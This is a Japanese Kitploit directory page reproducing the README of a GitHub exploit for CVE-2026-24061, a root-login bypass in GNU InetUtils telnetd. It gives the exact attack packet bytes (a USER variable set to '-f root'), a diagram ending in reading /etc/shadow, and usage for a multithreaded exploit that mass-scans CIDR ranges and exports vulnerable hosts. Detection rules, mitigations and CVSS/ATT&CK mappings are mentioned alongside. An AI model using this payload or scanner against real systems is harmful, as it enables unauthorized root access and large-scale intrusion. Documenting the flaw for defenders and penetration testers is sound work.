Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-24061 — GNU InetUtils telnetd - NEW-ENVIRON変数インジェクションによる未認証リモートルート権限取得。 | Kitploit
ツール/GitHubGitHub/franckferman/cve-2026-24061
脆弱性スキャナーエクスプロイトネットワークセキュリティペネトレーションテスト脅威インテリジェンス認証学習と教育レッドチーミング
GitHubfranckferman/cve-2026-24061

CVE-2026-24061

GNU InetUtils telnetd - NEW-ENVIRON変数インジェクションによる未認証リモートルート権限取得。

リポジトリを見る
5256ヶ月前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE Score License Python No deps

GNU InetUtils telnetd - 認証不要のリモートルート権限取得(NEW-ENVIRON 変数インジェクション)

概要 - 技術分析 - 影響を受けるバージョン - 使用方法 - 対策と緩和策 - 参考情報


脆弱性の概要

CVE-2026-24061 は、GNU InetUtils の一部として配布されている telnetd デーモンにおける重大な認証バイパス脆弱性です。この欠陥は、初期プロトコルハンドシェイク中の Telnet NEW-ENVIRON オプション(RFC 1572)の処理に存在します。

根本原因は、クライアントから提供された環境変数を login(1) プログラムに渡す前にサニタイズしないことです。Telnet デーモンが、値 -f root を持つ変数 USER を含む NEW-ENVIRON IS サブネゴシエーションパケットを受信すると、このサニタイズされていない値をシステムの login バイナリに直接渡します。

login が -f フラグ(パスワード検証なしの強制ログイン)を受け入れるシステムでは、リモート攻撃者に認証不要の root セッションが付与される結果となります。

この脆弱性クラスには歴史的な前例があります。SysV telnetd の CVE-2001-0797 や、1994 年の有名な Linux telnetd -f バイパスは、特権バイナリに渡される環境由来の引数をサニタイズしないという同じ根本的な欠陥を悪用したものです。

認証情報は不要です。事前アクセスも不要です。単一のネットワークパケットシーケンスで root 権限を取得できます。

技術分析

根本原因

GNU InetUtils telnetd は、NEW-ENVIRON(RFC 1572 に基づくオプションコード 0x27)サブネゴシエーションを処理して、クライアントから提供された環境変数を収集します。これらの変数は引数ベクターに組み立てられ、login(1) を起動する際に execve(2) に渡されます。

この脆弱性は次のようにトリガーされます:

  1. サーバーは IAC DO NEW-ENVIRON を送信し、クライアントに環境変数を要求します。
  2. 悪意のあるクライアントは IAC WILL NEW-ENVIRON で応答します。
  3. サーバーは IAC SB NEW-ENVIRON SEND IAC SE を続けて送信します。
  4. クライアントは注入ペイロードを送信します:
IAC SB NEW-ENVIRON IS
  VAR "USER" VALUE "-f root"
IAC SE
  1. telnetd は login -f root として login 呼び出しを構築します。
  2. login(1) は -f を「強制ログイン、認証スキップ」として解釈し、指定されたユーザー(root)をパスワードなしでログインさせます。

プロトコルレベルの詳細

ステップ方向Telnet バイト(16進)意味
1S -> CFF FD 27IAC DO NEW-ENVIRON
2C -> SFF FB 27IAC WILL NEW-ENVIRON
3S -> CFF FA 27 01 FF F0IAC SB NEW-ENVIRON SEND IAC SE
4C -> SFF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE

-f root が機能する理由

多くの Linux システムの login(1) バイナリは、「事前認証済み」ログイン用の -f <user> フラグを受け入れます。これは歴史的にターミナルマルチプレクサや rlogin で使用されてきました。telnetd が exec 呼び出しを構築する際に、先頭のハイフンを除去したり、環境変数値のオプション風文字列を検証したりしないため、攻撃者が制御するフラグが意図せず login に直接渡されます。

実質的な呼び出しは次のようになります:

execve("/bin/login", ["login", "-f", "root"], envp);

攻撃シナリオ

攻撃者                                    脆弱な telnetd(ポート 23)
   |                                                   |
   |------- TCP SYN (port 23) ----------------------->|
   |<------ TCP SYN-ACK -------------------------------|
   |------- TCP ACK ---------------------------------->|
   |                                                   |
   |<------ Telnet バナー + IAC DO NEW-ENVIRON --------|
   |------- IAC WILL NEW-ENVIRON --------------------->|
   |<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
   |                                                   |
   |------- IAC SB NEW-ENVIRON IS                      |
   |        VAR "USER" VALUE "-f root" IAC SE -------->|
   |                                                   |
   |        [telnetd が呼び出し: login -f root]        |
   |                                                   |
   |<------ root シェルプロンプト (#) -----------------|
   |                                                   |
   |------- id; whoami; cat /etc/shadow -------------->|
   |<------ uid=0(root) root /etc/shadow の内容 -------|

前提条件:

  • GNU InetUtils telnetd(TCP/23 オープン)を実行しているターゲットシステム
  • パッチ未適用の inetutils バージョン
  • login(1) バイナリが -f フラグをサポートしている(ほとんどの Linux ディストリビューションで標準)
  • TCP/23 をブロックするファイアウォールがないこと

影響を受けるバージョン

ソフトウェア影響を受けるバージョンステータス
GNU InetUtils telnetd<= 2.x(具体的なパッチ適用バージョンは未定)脆弱
パッチ未適用の GNU inetutils を同梱するディストリビューション各種ベンダー勧告を確認

お使いのディストリビューションがパッチ適用済みバージョンを提供しているか確認してください。多くの最新システムでは Telnet はデフォルトで無効化されています。曝露には明示的に実行中の telnetd が必要です。

CVSS スコア

メトリクス値
CVSS v3.1 ベーススコア9.8(Critical)
攻撃元区分(Attack Vector)ネットワーク(Network)
攻撃条件の複雑さ(Attack Complexity)低(Low)
必要な特権レベル(Privileges Required)なし(None)
利用者の関与(User Interaction)なし(None)
スコープ(Scope)変更なし(Unchanged)
機密性への影響(Confidentiality Impact)高(High)
完全性への影響(Integrity Impact)高(High)
可用性への影響(Availability Impact)高(High)
ベクター文字列CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK マッピング

ATT&CK ID戦術手法関連性
T1190初期アクセス公開アプリケーションの悪用ネットワーク経由での telnetd の直接悪用
T1059実行コマンドおよびスクリプティングインタープリター悪用後のシェル実行
T1078.004特権昇格 / 防御回避有効なアカウント:ローカルアカウント認証バイパスにより有効な root セッションが得られる
T1548特権昇格昇格制御メカニズムの悪用PAM/認証をバイパスするために login -f フラグが悪用される
T1046探索ネットワークサービスの探索PoC のマススキャンコンポーネント

インストール

要件: Python 3(標準ライブラリのみ、外部依存関係ゼロ)。

git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061

pip install は不要です。両スクリプトは Python 標準ライブラリのみを使用します。

プロジェクト構成

poc_cve_2026_24061.py       # シンプルな PoC(約100行)- 脆弱性の理解用
cve_2026_24061.py           # 実戦向けエクスプロイト - マルチスレッド、CIDR、CSV/JSON エクスポート
scripts/
  generate_signatures.py    # ペイロードから Snort/Suricata + Sigma ルールを自動生成
  generate_misp_event.py    # MISP インポート可能なイベント JSON を生成
  generate_stix_bundle.py   # STIX 2.1 バンドルを生成(MISP、OpenCTI、TAXII)
signatures/
  snort.rules               # Snort/Suricata 検知ルール(自動生成)
  sigma.yml                 # SIEM 用 Sigma ルール(自動生成)
indicators/
  misp_event.json           # MISP イベント - イベント > イベント追加 > インポート で取り込み
  stix_bundle.json          # STIX 2.1 バンドル - 11 オブジェクト(vuln、indicator、ATT&CK、CoA)
  • poc_cve_2026_24061.py:最小限で読みやすく、教育的。単一ターゲット、単一機能、抽象化ゼロ。プロトコルレベルで脆弱性がどのように機能するかを正確に理解するためにこれを読んでください。
  • cve_2026_24061.py:ペネトレーションテスト業務向けの実戦用エクスプロイト。マルチスレッド、CIDR レンジ対応、ファイル入力、CSV/JSON エクスポート、クワイエットモード、カスタムユーザー対応。

使用方法

シンプルな PoC(poc_cve_2026_24061.py)

単一ホストを悪用します。コードは意図的に最小限に保たれており、最初から最後まで読んで攻撃チェーン全体を理解できます。

# 基本的な使用方法
python3 poc_cve_2026_24061.py 192.168.1.100

# カスタムポート
python3 poc_cve_2026_24061.py 10.0.0.5 2323

実戦用エクスプロイト(cve_2026_24061.py)

単一ホスト

python3 cve_2026_24061.py -t 192.168.1.100

CIDR レンジ(マススキャン)

python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50

ファイル入力

python3 cve_2026_24061.py -f targets.txt -o results.csv

JSON エクスポート

python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json

カスタムターゲットユーザー

python3 cve_2026_24061.py -t 192.168.1.1 --user admin

クワイエットモード(パイプ連携向け)

python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt

全オプション

パラメータデフォルト説明
-t / --target-単一 IP、ホスト名、または CIDR レンジ
-f / --file-IP/CIDR を含むファイル(1行に1つ、# はコメント)
-T / --threads10同時実行スレッド数
-p / --port23ターゲットの Telnet ポート
--timeout5ソケットタイムアウト(秒)
--userroot-f ペイロード用のユーザー名
-o / --output-結果を CSV ファイルにエクスポート
--json-結果を JSON ファイルにエクスポート
-q / --quietoffクワイエットモード:脆弱なターゲットのみ出力(1行に1つ)
--no-coloroffANSI カラー出力を無効化

出力ステータス

ツールをダウンロード